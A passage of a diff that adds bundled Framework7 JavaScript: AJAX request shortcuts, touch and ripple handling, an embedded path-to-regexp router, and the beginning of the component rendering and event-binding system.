error = assign$1[3], dataType = assign$1[4]); + } + [success, error].forEach(function (callback) { + if (typeof callback === 'string') { + dataType = callback; + if (callback === success) { success = undefined; } + else { error = undefined; } + } + }); + dataType = dataType || (method === 'json' || method === 'postJSON' ? 'json' : undefined); + var requestOptions = { + url: url, + method: method === 'post' || method === 'postJSON' ? 'POST' : 'GET', + data: data, + success: success, + error: error, + dataType: dataType, + }; + if (method === 'postJSON') { + Utils.extend(requestOptions, { + contentType: 'application/json', + processData: false, + crossDomain: true, + data: typeof data === 'string' ? data : JSON.stringify(data), + }); + } + return Request(requestOptions); + } + Request.get = function get() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return RequestShortcut.apply(void 0, [ 'get' ].concat( args )); + }; + Request.post = function post() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return RequestShortcut.apply(void 0, [ 'post' ].concat( args )); + }; + Request.json = function json() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return RequestShortcut.apply(void 0, [ 'json' ].concat( args )); + }; + Request.getJSON = Request.json; + Request.postJSON = function postJSON() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return RequestShortcut.apply(void 0, [ 'postJSON' ].concat( args )); + }; + Request.setup = function setup(options) { + if (options.type && !options.method) { + Utils.extend(options, { method: options.type }); + } + Utils.extend(globals, options); + }; + + /* eslint no-param-reassign: "off" */ + + var RequestModule = { + name: 'request', + proto: { + request: Request, + }, + static: { + request: Request, + }, + }; + + function initTouch() { + var app = this; + var params = app.params.touch; + var useRipple = app.theme === 'md' && params.materialRipple; + + if (Device.ios && Device.webView) { + // Strange hack required for iOS 8 webview to work on inputs + win.addEventListener('touchstart', function () {}); + } + + var touchStartX; + var touchStartY; + var touchStartTime; + var targetElement; + var trackClick; + var activeSelection; + var scrollParent; + var lastClickTime; + var isMoved; + var tapHoldFired; + var tapHoldTimeout; + + var activableElement; + var activeTimeout; + + var needsFastClick; + var needsFastClickTimeOut; + + var rippleWave; + var rippleTarget; + var rippleTimeout; + + function findActivableElement(el) { + var target = $$1(el); + var parents = target.parents(params.activeStateElements); + var activable; + if (target.is(params.activeStateElements)) { + activable = target; + } + if (parents.length > 0) { + activable = activable ? activable.add(parents) : parents; + } + return activable || target; + } + + function isInsideScrollableView(el) { + var pageContent = el.parents('.page-content, .panel'); + + if (pageContent.length === 0) { + return false; + } + + // This event handler covers the "tap to stop scrolling". + if (pageContent.prop('scrollHandlerSet') !== 'yes') { + pageContent.on('scroll', function () { + clearTimeout(activeTimeout); + clearTimeout(rippleTimeout); + }); + pageContent.prop('scrollHandlerSet', 'yes'); + } + + return true; + } + function addActive() { + if (!activableElement) { return; } + activableElement.addClass('active-state'); + } + function removeActive() { + if (!activableElement) { return; } + activableElement.removeClass('active-state'); + activableElement = null; + } + function isFormElement(el) { + var nodes = ('input select textarea label').split(' '); + if (el.nodeName && nodes.indexOf(el.nodeName.toLowerCase()) >= 0) { return true; } + return false; + } + function androidNeedsBlur(el) { + var noBlur = ('button input textarea select').split(' '); + if (doc.activeElement && el !== doc.activeElement && doc.activeElement !== doc.body) { + if (noBlur.indexOf(el.nodeName.toLowerCase()) >= 0) { + return false; + } + return true; + } + return false; + } + function targetNeedsFastClick(el) { + /* + if ( + Device.ios + && + ( + Device.osVersion.split('.')[0] > 9 + || + (Device.osVersion.split('.')[0] * 1 === 9 && Device.osVersion.split('.')[1] >= 1) + ) + ) { + return false; + } + */ + var $el = $$1(el); + if (el.nodeName.toLowerCase() === 'input' && (el.type === 'file' || el.type === 'range')) { return false; } + if (el.nodeName.toLowerCase() === 'select' && Device.android) { return false; } + if ($el.hasClass('no-fastclick') || $el.parents('.no-fastclick').length > 0) { return false; } + if (params.fastClicksExclude && $el.is(params.fastClicksExclude)) { return false; } + return true; + } + function targetNeedsFocus(el) { + if (doc.activeElement === el) { + return false; + } + var tag = el.nodeName.toLowerCase(); + var skipInputs = ('button checkbox file image radio submit').split(' '); + if (el.disabled || el.readOnly) { return false; } + if (tag === 'textarea') { return true; } + if (tag === 'select') { + if (Device.android) { return false; } + return true; + } + if (tag === 'input' && skipInputs.indexOf(el.type) < 0) { return true; } + return false; + } + function targetNeedsPrevent(el) { + var $el = $$1(el); + var prevent = true; + if ($el.is('label') || $el.parents('label').length > 0) { + if (Device.android) { + prevent = false; + } else if (Device.ios && $el.is('input')) { + prevent = true; + } else { prevent = false; } + } + return prevent; + } + + // Ripple handlers + function findRippleElement(el) { + var rippleElements = params.materialRippleElements; + var $el = $$1(el); + if ($el.is(rippleElements)) { + if ($el.hasClass('no-ripple')) { + return false; + } + return $el; + } + if ($el.parents(rippleElements).length > 0) { + var rippleParent = $el.parents(rippleElements).eq(0); + if (rippleParent.hasClass('no-ripple')) { + return false; + } + return rippleParent; + } + return false; + } + function createRipple($el, x, y) { + if (!$el) { return; } + rippleWave = app.touchRipple.create($el, x, y); + } + + function removeRipple() { + if (!rippleWave) { return; } + rippleWave.remove(); + rippleWave = undefined; + rippleTarget = undefined; + } + function rippleTouchStart(el) { + rippleTarget = findRippleElement(el); + if (!rippleTarget || rippleTarget.length === 0) { + rippleTarget = undefined; + return; + } + if (!isInsideScrollableView(rippleTarget)) { + createRipple(rippleTarget, touchStartX, touchStartY); + } else { + rippleTimeout = setTimeout(function () { + createRipple(rippleTarget, touchStartX, touchStartY); + }, 80); + } + } + function rippleTouchMove() { + clearTimeout(rippleTimeout); + removeRipple(); + } + function rippleTouchEnd() { + if (rippleWave) { + removeRipple(); + } else if (rippleTarget && !isMoved) { + clearTimeout(rippleTimeout); + createRipple(rippleTarget, touchStartX, touchStartY); + setTimeout(removeRipple, 0); + } else { + removeRipple(); + } + } + + // Mouse Handlers + function handleMouseDown(e) { + findActivableElement(e.target).addClass('active-state'); + if ('which' in e && e.which === 3) { + setTimeout(function () { + $$1('.active-state').removeClass('active-state'); + }, 0); + } + if (useRipple) { + touchStartX = e.pageX; + touchStartY = e.pageY; + rippleTouchStart(e.target, e.pageX, e.pageY); + } + } + function handleMouseMove() { + $$1('.active-state').removeClass('active-state'); + if (useRipple) { + rippleTouchMove(); + } + } + function handleMouseUp() { + $$1('.active-state').removeClass('active-state'); + if (useRipple) { + rippleTouchEnd(); + } + } + + // Send Click + function sendClick(e) { + var touch = e.changedTouches[0]; + var evt = doc.createEvent('MouseEvents'); + var eventType = 'click'; + if (Device.android && targetElement.nodeName.toLowerCase() === 'select') { + eventType = 'mousedown'; + } + evt.initMouseEvent(eventType, true, true, win, 1, touch.screenX, touch.screenY, touch.clientX, touch.clientY, false, false, false, false, 0, null); + evt.forwardedTouchEvent = true; + + if (app.device.ios && win.navigator.standalone) { + // Fix the issue happens in iOS home screen apps where the wrong element is selected during a momentum scroll. + // Upon tapping, we give the scrolling time to stop, then we grab the element based where the user tapped. + setTimeout(function () { + targetElement = doc.elementFromPoint(e.changedTouches[0].clientX, e.changedTouches[0].clientY); + targetElement.dispatchEvent(evt); + }, 10); + } else { + targetElement.dispatchEvent(evt); + } + } + + // Touch Handlers + function handleTouchStart(e) { + var this$1 = this; + + isMoved = false; + tapHoldFired = false; + if (e.targetTouches.length > 1) { + if (activableElement) { removeActive(); } + return true; + } + if (e.touches.length > 1 && activableElement) { + removeActive(); + } + if (params.tapHold) { + if (tapHoldTimeout) { clearTimeout(tapHoldTimeout); } + tapHoldTimeout = setTimeout(function () { + if (e && e.touches && e.touches.length > 1) { return; } + tapHoldFired = true; + e.preventDefault(); + $$1(e.target).trigger('taphold'); + }, params.tapHoldDelay); + } + if (needsFastClickTimeOut) { clearTimeout(needsFastClickTimeOut); } + needsFastClick = targetNeedsFastClick(e.target); + + if (!needsFastClick) { + trackClick = false; + return true; + } + if (Device.ios || (Device.android && 'getSelection' in win)) { + var selection = win.getSelection(); + if ( + selection.rangeCount + && selection.focusNode !== doc.body + && (!selection.isCollapsed || doc.activeElement === selection.focusNode) + ) { + activeSelection = true; + return true; + } + + activeSelection = false; + } + if (Device.android) { + if (androidNeedsBlur(e.target)) { + doc.activeElement.blur(); + } + } + + trackClick = true; + targetElement = e.target; + touchStartTime = (new Date()).getTime(); + touchStartX = e.targetTouches[0].pageX; + touchStartY = e.targetTouches[0].pageY; + + // Detect scroll parent + if (Device.ios) { + scrollParent = undefined; + $$1(targetElement).parents().each(function () { + var parent = this$1; + if (parent.scrollHeight > parent.offsetHeight && !scrollParent) { + scrollParent = parent; + scrollParent.f7ScrollTop = scrollParent.scrollTop; + } + }); + } + if ((touchStartTime - lastClickTime) < params.fastClicksDelayBetweenClicks) { + e.preventDefault(); + } + + if (params.activeState) { + activableElement = findActivableElement(targetElement); + // If it's inside a scrollable view, we don't trigger active-state yet, + // because it can be a scroll instead. Based on the link: + // http://labnote.beedesk.com/click-scroll-and-pseudo-active-on-mobile-webk + if (!isInsideScrollableView(activableElement)) { + addActive(); + } else { + activeTimeout = setTimeout(addActive, 80); + } + } + if (useRipple) { + rippleTouchStart(targetElement, touchStartX, touchStartY); + } + return true; + } + function handleTouchMove(e) { + if (!trackClick) { return; } + var distance = params.fastClicksDistanceThreshold; + if (distance) { + var pageX = e.targetTouches[0].pageX; + var pageY = e.targetTouches[0].pageY; + if (Math.abs(pageX - touchStartX) > distance || Math.abs(pageY - touchStartY) > distance) { + isMoved = true; + } + } else { + isMoved = true; + } + if (isMoved) { + trackClick = false; + targetElement = null; + isMoved = true; + if (params.tapHold) { + clearTimeout(tapHoldTimeout); + } + if (params.activeState) { + clearTimeout(activeTimeout); + removeActive(); + } + if (useRipple) { + rippleTouchMove(); + } + } + } + function handleTouchEnd(e) { + clearTimeout(activeTimeout); + clearTimeout(tapHoldTimeout); + + var touchEndTime = (new Date()).getTime(); + + if (!trackClick) { + if (!activeSelection && needsFastClick) { + if (!(Device.android && !e.cancelable) && e.cancelable) { + e.preventDefault(); + } + } + return true; + } + + if (doc.activeElement === e.target) { + if (params.activeState) { removeActive(); } + if (useRipple) { + rippleTouchEnd(); + } + return true; + } + + if (!activeSelection) { + e.preventDefault(); + } + + if ((touchEndTime - lastClickTime) < params.fastClicksDelayBetweenClicks) { + setTimeout(removeActive, 0); + return true; + } + + lastClickTime = touchEndTime; + + trackClick = false; + + if (Device.ios && scrollParent) { + if (scrollParent.scrollTop !== scrollParent.f7ScrollTop) { + return false; + } + } + + // Add active-state here because, in a very fast tap, the timeout didn't + // have the chance to execute. Removing active-state in a timeout gives + // the chance to the animation execute. + if (params.activeState) { + addActive(); + setTimeout(removeActive, 0); + } + // Remove Ripple + if (useRipple) { + rippleTouchEnd(); + } + + // Trigger focus when required + if (targetNeedsFocus(targetElement)) { + if (Device.ios && Device.webView) { + targetElement.focus(); + return false; + } + + targetElement.focus(); + } + + // Blur active elements + if (doc.activeElement && targetElement !== doc.activeElement && doc.activeElement !== doc.body && targetElement.nodeName.toLowerCase() !== 'label') { + doc.activeElement.blur(); + } + + // Send click + e.preventDefault(); + if (params.tapHoldPreventClicks && tapHoldFired) { + return false; + } + sendClick(e); + return false; + } + function handleTouchCancel() { + trackClick = false; + targetElement = null; + + // Remove Active State + clearTimeout(activeTimeout); + clearTimeout(tapHoldTimeout); + if (params.activeState) { + removeActive(); + } + + // Remove Ripple + if (useRipple) { + rippleTouchEnd(); + } + } + + function handleClick(e) { + var allowClick = false; + if (trackClick) { + targetElement = null; + trackClick = false; + return true; + } + if ((e.target.type === 'submit' && e.detail === 0) || e.target.type === 'file') { + return true; + } + if (!targetElement) { + if (!isFormElement(e.target)) { + allowClick = true; + } + } + if (!needsFastClick) { + allowClick = true; + } + if (doc.activeElement === targetElement) { + allowClick = true; + } + if (e.forwardedTouchEvent) { + allowClick = true; + } + if (!e.cancelable) { + allowClick = true; + } + if (params.tapHold && params.tapHoldPreventClicks && tapHoldFired) { + allowClick = false; + } + if (!allowClick) { + e.stopImmediatePropagation(); + e.stopPropagation(); + if (targetElement) { + if (targetNeedsPrevent(targetElement) || isMoved) { + e.preventDefault(); + } + } else { + e.preventDefault(); + } + targetElement = null; + } + needsFastClickTimeOut = setTimeout(function () { + needsFastClick = false; + }, (Device.ios || Device.androidChrome ? 100 : 400)); + + if (params.tapHold) { + tapHoldTimeout = setTimeout(function () { + tapHoldFired = false; + }, (Device.ios || Device.androidChrome ? 100 : 400)); + } + + return allowClick; + } + + function emitAppTouchEvent(name, e) { + app.emit({ + events: name, + data: [e], + }); + } + function appClick(e) { + emitAppTouchEvent('click', e); + } + function appTouchStartActive(e) { + emitAppTouchEvent('touchstart touchstart:active', e); + } + function appTouchMoveActive(e) { + emitAppTouchEvent('touchmove touchmove:active', e); + } + function appTouchEndActive(e) { + emitAppTouchEvent('touchend touchend:active', e); + } + function appTouchStartPassive(e) { + emitAppTouchEvent('touchstart:passive', e); + } + function appTouchMovePassive(e) { + emitAppTouchEvent('touchmove:passive', e); + } + function appTouchEndPassive(e) { + emitAppTouchEvent('touchend:passive', e); + } + + var passiveListener = Support.passiveListener ? { passive: true } : false; + var activeListener = Support.passiveListener ? { passive: false } : false; + + doc.addEventListener('click', appClick, true); + + if (Support.passiveListener) { + doc.addEventListener(app.touchEvents.start, appTouchStartActive, activeListener); + doc.addEventListener(app.touchEvents.move, appTouchMoveActive, activeListener); + doc.addEventListener(app.touchEvents.end, appTouchEndActive, activeListener); + + doc.addEventListener(app.touchEvents.start, appTouchStartPassive, passiveListener); + doc.addEventListener(app.touchEvents.move, appTouchMovePassive, passiveListener); + doc.addEventListener(app.touchEvents.end, appTouchEndPassive, passiveListener); + } else { + doc.addEventListener(app.touchEvents.start, function (e) { + appTouchStartActive(e); + appTouchStartPassive(e); + }, false); + doc.addEventListener(app.touchEvents.move, function (e) { + appTouchMoveActive(e); + appTouchMovePassive(e); + }, false); + doc.addEventListener(app.touchEvents.end, function (e) { + appTouchEndActive(e); + appTouchEndPassive(e); + }, false); + } + + if (Support.touch) { + app.on('click', handleClick); + app.on('touchstart', handleTouchStart); + app.on('touchmove', handleTouchMove); + app.on('touchend', handleTouchEnd); + doc.addEventListener('touchcancel', handleTouchCancel, { passive: true }); + } else if (params.activeState) { + app.on('touchstart', handleMouseDown); + app.on('touchmove', handleMouseMove); + app.on('touchend', handleMouseUp); + } + doc.addEventListener('contextmenu', function (e) { + if (params.disableContextMenu && (Device.ios || Device.android || Device.cordova)) { + e.preventDefault(); + } + if (useRipple) { + if (activableElement) { removeActive(); } + rippleTouchEnd(); + } + }); + } + + var TouchModule = { + name: 'touch', + params: { + touch: { + // Fast clicks + fastClicks: true, + fastClicksDistanceThreshold: 10, + fastClicksDelayBetweenClicks: 50, + fastClicksExclude: '', // CSS selector + // ContextMenu + disableContextMenu: true, + // Tap Hold + tapHold: false, + tapHoldDelay: 750, + tapHoldPreventClicks: true, + // Active State + activeState: true, + activeStateElements: 'a, button, label, span, .actions-button, .stepper-button, .stepper-button-plus, .stepper-button-minus', + materialRipple: true, + materialRippleElements: '.ripple, .link, .item-link, .links-list a, .button, button, .input-clear-button, .dialog-button, .tab-link, .item-radio, .item-checkbox, .actions-button, .searchbar-disable-button, .fab a, .checkbox, .radio, .data-table .sortable-cell:not(.input-cell), .notification-close-button, .stepper-button, .stepper-button-minus, .stepper-button-plus', + }, + }, + instance: { + touchEvents: { + start: Support.touch ? 'touchstart' : 'mousedown', + move: Support.touch ? 'touchmove' : 'mousemove', + end: Support.touch ? 'touchend' : 'mouseup', + }, + }, + on: { + init: initTouch, + }, + }; + + /** + * Expose `pathToRegexp`. + */ + var pathToRegexp_1 = pathToRegexp; + var parse_1 = parse; + var compile_1 = compile; + var tokensToFunction_1 = tokensToFunction; + var tokensToRegExp_1 = tokensToRegExp; + + /** + * Default configs. + */ + var DEFAULT_DELIMITER = '/'; + var DEFAULT_DELIMITERS = './'; + + /** + * The main path matching regexp utility. + * + * @type {RegExp} + */ + var PATH_REGEXP = new RegExp([ + // Match escaped characters that would otherwise appear in future matches. + // This allows the user to escape special characters that won't transform. + '(\\\\.)', + // Match Express-style parameters and un-named parameters with a prefix + // and optional suffixes. Matches appear as: + // + // "/:test(\\d+)?" => ["/", "test", "\d+", undefined, "?"] + // "/route(\\d+)" => [undefined, undefined, undefined, "\d+", undefined] + '(?:\\:(\\w+)(?:\\(((?:\\\\.|[^\\\\()])+)\\))?|\\(((?:\\\\.|[^\\\\()])+)\\))([+*?])?' + ].join('|'), 'g'); + + /** + * Parse a string for the raw tokens. + * + * @param {string} str + * @param {Object=} options + * @return {!Array} + */ + function parse (str, options) { + var tokens = []; + var key = 0; + var index = 0; + var path = ''; + var defaultDelimiter = (options && options.delimiter) || DEFAULT_DELIMITER; + var delimiters = (options && options.delimiters) || DEFAULT_DELIMITERS; + var pathEscaped = false; + var res; + + while ((res = PATH_REGEXP.exec(str)) !== null) { + var m = res[0]; + var escaped = res[1]; + var offset = res.index; + path += str.slice(index, offset); + index = offset + m.length; + + // Ignore already escaped sequences. + if (escaped) { + path += escaped[1]; + pathEscaped = true; + continue + } + + var prev = ''; + var next = str[index]; + var name = res[2]; + var capture = res[3]; + var group = res[4]; + var modifier = res[5]; + + if (!pathEscaped && path.length) { + var k = path.length - 1; + + if (delimiters.indexOf(path[k]) > -1) { + prev = path[k]; + path = path.slice(0, k); + } + } + + // Push the current path onto the tokens. + if (path) { + tokens.push(path); + path = ''; + pathEscaped = false; + } + + var partial = prev !== '' && next !== undefined && next !== prev; + var repeat = modifier === '+' || modifier === '*'; + var optional = modifier === '?' || modifier === '*'; + var delimiter = prev || defaultDelimiter; + var pattern = capture || group; + + tokens.push({ + name: name || key++, + prefix: prev, + delimiter: delimiter, + optional: optional, + repeat: repeat, + partial: partial, + pattern: pattern ? escapeGroup(pattern) : '[^' + escapeString(delimiter) + ']+?' + }); + } + + // Push any remaining characters. + if (path || index < str.length) { + tokens.push(path + str.substr(index)); + } + + return tokens + } + + /** + * Compile a string to a template function for the path. + * + * @param {string} str + * @param {Object=} options + * @return {!function(Object=, Object=)} + */ + function compile (str, options) { + return tokensToFunction(parse(str, options)) + } + + /** + * Expose a method for transforming tokens into the path function. + */ + function tokensToFunction (tokens) { + // Compile all the tokens into regexps. + var matches = new Array(tokens.length); + + // Compile all the patterns before compilation. + for (var i = 0; i < tokens.length; i++) { + if (typeof tokens[i] === 'object') { + matches[i] = new RegExp('^(?:' + tokens[i].pattern + ')$'); + } + } + + return function (data, options) { + var path = ''; + var encode = (options && options.encode) || encodeURIComponent; + + for (var i = 0; i < tokens.length; i++) { + var token = tokens[i]; + + if (typeof token === 'string') { + path += token; + continue + } + + var value = data ? data[token.name] : undefined; + var segment; + + if (Array.isArray(value)) { + if (!token.repeat) { + throw new TypeError('Expected "' + token.name + '" to not repeat, but got array') + } + + if (value.length === 0) { + if (token.optional) { continue } + + throw new TypeError('Expected "' + token.name + '" to not be empty') + } + + for (var j = 0; j < value.length; j++) { + segment = encode(value[j]); + + if (!matches[i].test(segment)) { + throw new TypeError('Expected all "' + token.name + '" to match "' + token.pattern + '"') + } + + path += (j === 0 ? token.prefix : token.delimiter) + segment; + } + + continue + } + + if (typeof value === 'string' || typeof value === 'number' || typeof value === 'boolean') { + segment = encode(String(value)); + + if (!matches[i].test(segment)) { + throw new TypeError('Expected "' + token.name + '" to match "' + token.pattern + '", but got "' + segment + '"') + } + + path += token.prefix + segment; + continue + } + + if (token.optional) { + // Prepend partial segment prefixes. + if (token.partial) { path += token.prefix; } + + continue + } + + throw new TypeError('Expected "' + token.name + '" to be ' + (token.repeat ? 'an array' : 'a string')) + } + + return path + } + } + + /** + * Escape a regular expression string. + * + * @param {string} str + * @return {string} + */ + function escapeString (str) { + return str.replace(/([.+*?=^!:${}()[\]|/\\])/g, '\\$1') + } + + /** + * Escape the capturing group by escaping special characters and meaning. + * + * @param {string} group + * @return {string} + */ + function escapeGroup (group) { + return group.replace(/([=!:$/()])/g, '\\$1') + } + + /** + * Get the flags for a regexp from the options. + * + * @param {Object} options + * @return {string} + */ + function flags (options) { + return options && options.sensitive ? '' : 'i' + } + + /** + * Pull out keys from a regexp. + * + * @param {!RegExp} path + * @param {Array=} keys + * @return {!RegExp} + */ + function regexpToRegexp (path, keys) { + if (!keys) { return path } + + // Use a negative lookahead to match only capturing groups. + var groups = path.source.match(/\((?!\?)/g); + + if (groups) { + for (var i = 0; i < groups.length; i++) { + keys.push({ + name: i, + prefix: null, + delimiter: null, + optional: false, + repeat: false, + partial: false, + pattern: null + }); + } + } + + return path + } + + /** + * Transform an array into a regexp. + * + * @param {!Array} path + * @param {Array=} keys + * @param {Object=} options + * @return {!RegExp} + */ + function arrayToRegexp (path, keys, options) { + var parts = []; + + for (var i = 0; i < path.length; i++) { + parts.push(pathToRegexp(path[i], keys, options).source); + } + + return new RegExp('(?:' + parts.join('|') + ')', flags(options)) + } + + /** + * Create a path regexp from string input. + * + * @param {string} path + * @param {Array=} keys + * @param {Object=} options + * @return {!RegExp} + */ + function stringToRegexp (path, keys, options) { + return tokensToRegExp(parse(path, options), keys, options) + } + + /** + * Expose a function for taking tokens and returning a RegExp. + * + * @param {!Array} tokens + * @param {Array=} keys + * @param {Object=} options + * @return {!RegExp} + */ + function tokensToRegExp (tokens, keys, options) { + options = options || {}; + + var strict = options.strict; + var end = options.end !== false; + var delimiter = escapeString(options.delimiter || DEFAULT_DELIMITER); + var delimiters = options.delimiters || DEFAULT_DELIMITERS; + var endsWith = [].concat(options.endsWith || []).map(escapeString).concat('$').join('|'); + var route = ''; + var isEndDelimited = false; + + // Iterate over the tokens and create our regexp string. + for (var i = 0; i < tokens.length; i++) { + var token = tokens[i]; + + if (typeof token === 'string') { + route += escapeString(token); + isEndDelimited = i === tokens.length - 1 && delimiters.indexOf(token[token.length - 1]) > -1; + } else { + var prefix = escapeString(token.prefix); + var capture = token.repeat + ? '(?:' + token.pattern + ')(?:' + prefix + '(?:' + token.pattern + '))*' + : token.pattern; + + if (keys) { keys.push(token); } + + if (token.optional) { + if (token.partial) { + route += prefix + '(' + capture + ')?'; + } else { + route += '(?:' + prefix + '(' + capture + '))?'; + } + } else { + route += prefix + '(' + capture + ')'; + } + } + } + + if (end) { + if (!strict) { route += '(?:' + delimiter + ')?'; } + + route += endsWith === '$' ? '$' : '(?=' + endsWith + ')'; + } else { + if (!strict) { route += '(?:' + delimiter + '(?=' + endsWith + '))?'; } + if (!isEndDelimited) { route += '(?=' + delimiter + '|' + endsWith + ')'; } + } + + return new RegExp('^' + route, flags(options)) + } + + /** + * Normalize the given path string, returning a regular expression. + * + * An empty array can be passed in for the keys, which will hold the + * placeholder key descriptions. For example, using `/user/:id`, `keys` will + * contain `[{ name: 'id', delimiter: '/', optional: false, repeat: false }]`. + * + * @param {(string|RegExp|Array)} path + * @param {Array=} keys + * @param {Object=} options + * @return {!RegExp} + */ + function pathToRegexp (path, keys, options) { + if (path instanceof RegExp) { + return regexpToRegexp(path, keys) + } + + if (Array.isArray(path)) { + return arrayToRegexp(/** @type {!Array} */ (path), keys, options) + } + + return stringToRegexp(/** @type {string} */ (path), keys, options) + } + pathToRegexp_1.parse = parse_1; + pathToRegexp_1.compile = compile_1; + pathToRegexp_1.tokensToFunction = tokensToFunction_1; + pathToRegexp_1.tokensToRegExp = tokensToRegExp_1; + + var tempDom = doc.createElement('div'); + + var Framework7Component = function Framework7Component(opts, extendContext) { + if ( extendContext === void 0 ) extendContext = {}; + + var options = Utils.extend({}, opts); + var component = Utils.merge(this, extendContext, { $options: options }); + + // Apply context + ('beforeCreate created beforeMount mounted beforeDestroy destroyed').split(' ').forEach(function (cycleKey) { + if (options[cycleKey]) { options[cycleKey] = options[cycleKey].bind(component); } + }); + + if (options.data) { + options.data = options.data.bind(component); + // Data + Utils.extend(component, options.data()); + } + if (options.render) { options.render = options.render.bind(component); } + if (options.methods) { + Object.keys(options.methods).forEach(function (methodName) { + component[methodName] = options.methods[methodName].bind(component); + }); + } + + // Bind Events + if (options.on) { + Object.keys(options.on).forEach(function (eventName) { + options.on[eventName] = options.on[eventName].bind(component); + }); + } + if (options.once) { + Object.keys(options.once).forEach(function (eventName) { + options.once[eventName] = options.once[eventName].bind(component); + }); + } + + if (options.beforeCreate) { options.beforeCreate(); } + + // Watchers + if (options.watch) { + Object.keys(options.watch).forEach(function (watchKey) { + var dataKeyValue = component[watchKey]; + Object.defineProperty(component, watchKey, { + enumerable: true, + configurable: true, + set: function set(newValue) { + var previousValue = dataKeyValue; + dataKeyValue = newValue; + if (previousValue === newValue) { return; } + options.watch[watchKey].call(component, newValue, previousValue); + }, + get: function get() { + return dataKeyValue; + }, + }); + }); + } + + // Render template + + function render() { + var html = ''; + if (options.render) { + html = options.render(); + } else if (options.template) { + if (typeof options.template === 'string') { + try { + html = Template7.compile(options.template)(component); + } catch (err) { + throw err; + } + } else { + // Supposed to be function + html = options.template(component); + } + } + return html; + } + + var html = render(); + + // Make Dom + if (html && typeof html === 'string') { + html = html.trim(); + tempDom.innerHTML = html; + } else if (html) { + tempDom.innerHTML = ''; + tempDom.appendChild(html); + } + + // Extend component with $el + var el = tempDom.children[0]; + var $el = $$1(el); + component.$el = $el; + component.el = el; + component.el = el; + + // Find Events + var events = []; + $$1(tempDom).find('*').each(function (index, element) { + var attrs = []; + for (var i = 0; i < element.attributes.length; i += 1) { + var attr = element.attributes[i]; + if (attr.name.indexOf('@') === 0) { + attrs.push({ + name: attr.name, + value: attr.value, + }); + } + } + attrs.forEach(function (attr) { + element.removeAttribute(attr.name); + var event = attr.name.replace('@', ''); + var name = event; + var stop = false; + var prevent = false; + var once = false; + if (event.indexOf('.') >= 0) { + event.split('.').forEach(function (eventNamePart, eventNameIndex) { + if (eventNameIndex === 0) { name = eventNamePart; } + else { + if (eventNamePart === 'stop') { stop = true; } + if (eventNamePart === 'prevent') { prevent = true; } + if (eventNamePart === 'once') { once = true; } + } + }); + } + var value = attr.value.toString(); + events.push({ + el: element, + name: name, + once: once, + handler: function handler() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + var e = args[0]; + if (stop) { e.stopPropagation(); } + if (prevent) { e.preventDefault(); } + var methodName; + var method; + var customArgs = []; + if (value.indexOf('(') < 0) { + customArgs = args; + methodName = value; + } else { + methodName = value.split('(')[0]; + value.split('(')[1].split(')')[0].split(',').forEach(function (argument) { + var arg = argument.trim(); + // eslint-disable-next-line + if (!isNaN(arg)) { arg = parseFloat(arg); } + else if (arg === 'true') { arg = true; } + else if (arg === 'false') { arg = false; } + else if (arg === 'null') { arg = null; } + else if (arg === 'undefined') { arg = undefined; } + else if (arg[0] === '"') { arg = arg.replace(/"/g, ''); } + else if (arg[0] === '\'') { arg = arg.replace(/'/g, ''); } + else if (arg.indexOf('.') > 0) { + var deepArg; + arg.split('.').forEach(function (path) { + if (!deepArg) { deepArg = component; } + deepArg = deepArg[path]; + }); + arg = deepArg; + } else { + arg = component[arg]; + } + customArgs.push(arg); + }); + } + if (methodName.indexOf('.') >= 0) { + methodName.split('.').forEach(function (path, pathIndex) { + if (!method) { method = component; } + if (method[path]) { method = method[path]; } + else { + throw new Error(("Component doesn't have method \"" + (methodName.split('.').slice(0, pathIndex + 1).join('.')) + "\"")); + } + }); + } else { + if (!component[methodName]) { + throw new Error(("Component doesn't have method \"" + methodName + "\"")); + } + method = component[methodName]; + } + method.apply(void 0, customArgs); + }, + }); + }); + }); + + // Set styles scope ID + var styleEl; + if (options.style) { + styleEl = doc.createElement('style'); + styleEl.innerHTML = options.style; + } + if (options.styleScopeId) { + el.setAttribute('data-scope', options.styleScopeId); + } + + // Attach events + function attachEvents() { + if (options.on) { + Object.keys(options.on).forEach(function (eventName) { + $el.on(Utils.eventNameToColonCase(eventName), options.on[eventName]); + }); + } + if (options.once) { + Object.keys(options.once).forEach(function (eventName) { + $el.once(Utils.eventNameToColonCase(eventName), options.once[eventName]); + }); + } + events.forEach(function (event) { + $$1(event.el)[event.once ? 'once' : 'on'](event.name, event.handler); + }); + } + + function detachEvents() { + if (options.on) { + Object.keys(options.on).forEach(function (eventName) { + $el.off(Utils.eventNameToColonCase(eventName), options.on[eventName]); + }); + } + if (options.once) { + Object.keys(options.once).forEach(function (eventName) { + $el.off(Utils.eventNameToColonCase(eventName), options.once[eventName]); + }); + } + events.forEach(function (event) { + $$1(event.el).off(event.name, event.handler); + }); + } + + attachEvents(); + + // Created callback + if (options.created) { options.created(); } + + // Mount + component.$mount = function mount(mountMethod) { + if (options.beforeMount) { options.beforeMount(); } + if (styleEl) { $$1('head').append(styleEl); } + if (mountMethod) { mountMethod(el); } + if (options.mounted) { options.mounted(); } + }; + + // Destroy + component.$destroy = function destroy() { + if (options.beforeDestroy) { options.beforeDestroy(); } + if (styleEl) { $$1(styleEl).remove(); } + detachEvents(); + if (options.destroyed) { options.destroyed(); } + // Delete component instance + if (el && el.f7Component) { + el.f7Component = null; + delete el.f7Component; + } + Utils.deleteProps(component); + component = null; + }; + + // Store component instance + for (var i = 0; i < tempDom.children.length; i += 1) { + tempDom.children[i].f7Component = component; + } + + return component; + }; + + + var Component = { + parse: function parse(componentString) { + var callbackName = "f7_component_callback_" + (new Date().getTime()); + + // Template + var template; + if (componentString.indexOf('